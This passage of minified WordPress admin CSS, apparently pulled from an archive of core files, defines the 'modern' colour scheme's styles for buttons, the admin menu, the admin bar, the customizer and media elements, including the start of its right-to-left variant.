0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button.disabled,.wp-core-ui .button:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-secondary{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button-secondary:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-secondary:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-secondary:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary{background:var(--wp-admin-theme-color);border-color:transparent;border-radius:2px;color:#fff}.wp-core-ui .button-primary:hover{background:var(--wp-admin-theme-color-darker-10);border-color:transparent;color:#fff}.wp-core-ui .button-primary:focus{background:var(--wp-admin-theme-color);border-color:transparent;color:#fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.wp-core-ui .button-primary:active{background:var(--wp-admin-theme-color-darker-20);border-color:transparent;color:#fff}.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled{background:#f0f0f0;border-color:transparent;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:var(--wp-admin-theme-color-darker-10);color:#fff;border-color:transparent;box-shadow:none}.wp-core-ui .button-group>.button.active{border-color:var(--wp-admin-theme-color);background:rgba(var(--wp-admin-theme-color--rgb),.08)}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#1e1e1e}.wp-core-ui .wp-ui-text-primary{color:#1e1e1e}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#3858e9}.wp-core-ui .wp-ui-text-highlight{color:#3858e9}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#3858e9}.wp-core-ui .wp-ui-text-notification{color:#3858e9}.wp-core-ui .wp-ui-text-icon{color:#f3f1f1}.wrap .page-title-action{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wrap .page-title-action:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wrap .page-title-action:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wrap .page-title-action:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.view-switch a.current:before{color:#1e1e1e}.view-switch a:hover:before{color:#3858e9}#adminmenu,#adminmenuback,#adminmenuwrap{background:#1e1e1e}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#f3f1f1}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#3858e9}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f0f0f0;border-bottom-color:#f0f0f0}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:rgb(12.15,12.15,12.15)}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-right-color:rgb(12.15,12.15,12.15)}#adminmenu .wp-submenu .wp-submenu-head{color:rgb(187.5,187.5,187.5)}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:rgb(187.5,187.5,187.5)}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#7b90ff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#7b90ff}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-right-color:#f0f0f0}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#3858e9}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#3858e9}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:rgb(12.15,12.15,12.15)}#collapse-button{color:#f3f1f1}#collapse-button:focus,#collapse-button:hover{color:#7b90ff}#wpadminbar{color:#fff;background:#1e1e1e}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#f3f1f1}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#7b90ff;background:rgb(12.15,12.15,12.15)}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#7b90ff}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#7b90ff}#wpadminbar .menupop .ab-sub-wrapper{background:rgb(12.15,12.15,12.15)}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:rgb(47.85,47.85,47.85)}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:rgb(187.5,187.5,187.5)}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#f3f1f1}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#7b90ff}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#7b90ff}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#f3f1f1}#wpadminbar #adminbarsearch:before{color:#f3f1f1}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:rgb(47.85,47.85,47.85)}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#3858e9}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:rgb(50.4,79.2,209.7)}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:rgb(47.85,47.85,47.85);background-color:rgb(47.85,47.85,47.85)}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#7b90ff}#wpadminbar #wp-admin-bar-user-info .username{color:rgb(187.5,187.5,187.5)}.wp-pointer .wp-pointer-content h3{background-color:#3858e9;border-color:rgb(33.0384615385,68.7307692308,230.4615384615)}.wp-pointer .wp-pointer-content h3:before{color:#3858e9}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#3858e9}.media-item .bar,.media-progress-bar div{background-color:#3858e9}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #3858e9}.attachment.details .check{background-color:#3858e9;box-shadow:0 0 0 1px #fff,0 0 0 2px #3858e9}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #3858e9}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#3858e9}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#3858e9}.theme-filter.current,.theme-section.current{border-bottom-color:#1e1e1e}body.more-filters-opened .more-filters{color:#fff;background-color:#1e1e1e}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#3858e9;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#3858e9;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px rgb(101.9230769231,126.5384615385,238.0769230769),0 0 2px 1px #3858e9}div#wp-responsive-toggle a:before{color:#f3f1f1}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#3858e9}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:rgb(12.15,12.15,12.15)}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#f3f1f1}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#3858e9}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#3858e9;border-left-color:#3858e9}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#3858e9;border-top-color:#3858e9}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#3858e9;border-left-color:#3858e9}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#3858e9}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px rgb(101.9230769231,126.5384615385,238.0769230769),0 0 2px 1px #3858e9}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#3858e9}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-left-color:#3858e9;color:#3858e9}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#3858e9}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#3858e9}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#3858e9}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#3858e9;border-style:solid;box-shadow:0 0 0 1px #3858e9;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#3858e9}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#3858e9}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#3858e9}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px rgb(101.9230769231,126.5384615385,238.0769230769),0 0 2px 1px #3858e9}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#3858e9;color:#3858e9} css/colors/modern/colors-rtl.min.css 0000644 00000052140 15233246127 0013524 0 ustar 00 /*! This file is auto-generated */ body{background:#f0f0f0}a{color:#3858e9}a:active,a:focus,a:hover{color:rgb(23.6923076923,58.1538461538,214.3076923077)}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link,.wp-core-ui .button.button-link{color:var(--wp-admin-theme-color)}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover,.wp-core-ui .button.button-link:active,.wp-core-ui .button.button-link:hover{color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-link:focus,.wp-core-ui .button.button-link:focus{color:var(--wp-admin-theme-color);border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-link:disabled,.wp-core-ui .button-link[aria-disabled=true],.wp-core-ui .button.button-link:disabled,.wp-core-ui .button.button-link[aria-disabled=true]{color:#949494}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#cc1818}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:rgb(230.6842105263,48.3157894737,48.3157894737)}input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:rgb(23.6923076923,58.1538461538,214.3076923077)}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}input[type=checkbox]:focus,input[type=radio]:focus{border-color:#1e1e1e;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.wp-core-ui select:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:var(--wp-admin-theme-color)}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.mailserver-pass-wrap .button.wp-hide-pw:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-core-ui .button{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button.disabled,.wp-core-ui .button:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-secondary{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button-secondary:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-secondary:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-secondary:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary{background:var(--wp-admin-theme-color);border-color:transparent;border-radius:2px;color:#fff}.wp-core-ui .button-primary:hover{background:var(--wp-admin-theme-color-darker-10);border-color:transparent;color:#fff}.wp-core-ui .button-primary:focus{background:var(--wp-admin-theme-color);border-color:transparent;color:#fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.wp-core-ui .button-primary:active{background:var(--wp-admin-theme-color-darker-20);border-color:transparent;color:#fff}.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled{background:#f0f0f0;border-color:transparent;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:var(--wp-admin-theme-color-darker-10);color:#fff;border-color:transparent;box-shadow:none}.wp-core-ui .button-group>.button.active{border-color:var(--wp-admin-theme-color);background:rgba(var(--wp-admin-theme-color--rgb),.08)}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#1e1e1e}.wp-core-ui .wp-ui-text-primary{color:#1e1e1e}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#3858e9}.wp-core-ui .wp-ui-text-highlight{color:#3858e9}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#3858e9}.wp-core-ui .wp-ui-text-notification{color:#3858e9}.wp-core-ui .wp-ui-text-icon{color:#f3f1f1}.wrap .page-title-action{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wrap .page-title-action:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wrap .page-title-action:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wrap .page-title-action:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.view-switch a.current:before{color:#1e1e1e}.view-switch a:hover:before{color:#3858e9}#adminmenu,#adminmenuback,#adminmenuwrap{background:#1e1e1e}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#f3f1f1}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#3858e9}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f0f0f0;border-bottom-color:#f0f0f0}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:rgb(12.15,12.15,12.15)}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-left-color:rgb(12.15,12.15,12.15)}#adminmenu .wp-submenu .wp-submenu-head{color:rgb(187.5,187.5,187.5)}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:rgb(187.5,187.5,187.5)}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#7b90ff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#7b90ff}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-left-color:#f0f0f0}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#3858e9}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#3858e9}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:rgb(12.15,12.15,12.15)}#collapse-button{color:#f3f1f1}#collapse-button:focus,#collapse-button:hover{color:#7b90ff}#wpadminbar{color:#fff;background:#1e1e1e}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#f3f1f1}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#7b90ff;background:rgb(12.15,12.15,12.15)}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#7b90ff}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#7b90ff}#wpadminbar .menupop 